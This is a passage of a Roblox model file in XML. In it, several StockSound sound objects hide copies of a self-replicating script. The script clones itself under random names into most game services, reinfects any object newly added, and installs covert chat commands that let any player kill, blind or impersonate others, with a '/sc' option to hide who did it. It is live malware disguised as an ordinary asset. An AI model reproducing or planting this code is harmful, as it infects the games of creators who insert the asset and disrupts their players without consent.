local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="StockSound" referent="RBX557">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">48vvcokrc</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX558">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">k27vhku5j</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX559">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">199</int>
						<CoordinateFrame name="CFrame">
							<X>-6.30618334</X>
							<Y>0.890278697</Y>
							<Z>189.784943</Z>
							<R00>-0.465043157</R00>
							<R01>-0.885287762</R01>
							<R02>0.000604039466</R02>
							<R10>-3.91795356e-006</R10>
							<R11>-0.000680366473</R11>
							<R12>-0.999999702</R12>
							<R20>0.885287881</R20>
							<R21>-0.465043068</R21>
							<R22>0.000312906661</R22>
						</CoordinateFrame>
						<bool name="CanCollide">false</bool>
						<token name="Controller">0</token>
						<bool name="ControllerFlagShown">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">3</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">P2</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">4</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0.00625899481</X>
							<Y>-0.000351006136</Y>
							<Z>0.00144866761</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">2</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0.00181348459</X>
							<Y>0.00358119234</Y>
							<Z>0.0027356518</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">2</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="StockSound" referent="RBX560">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">t422v5l7j</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX561">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">ze1rgabq5</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
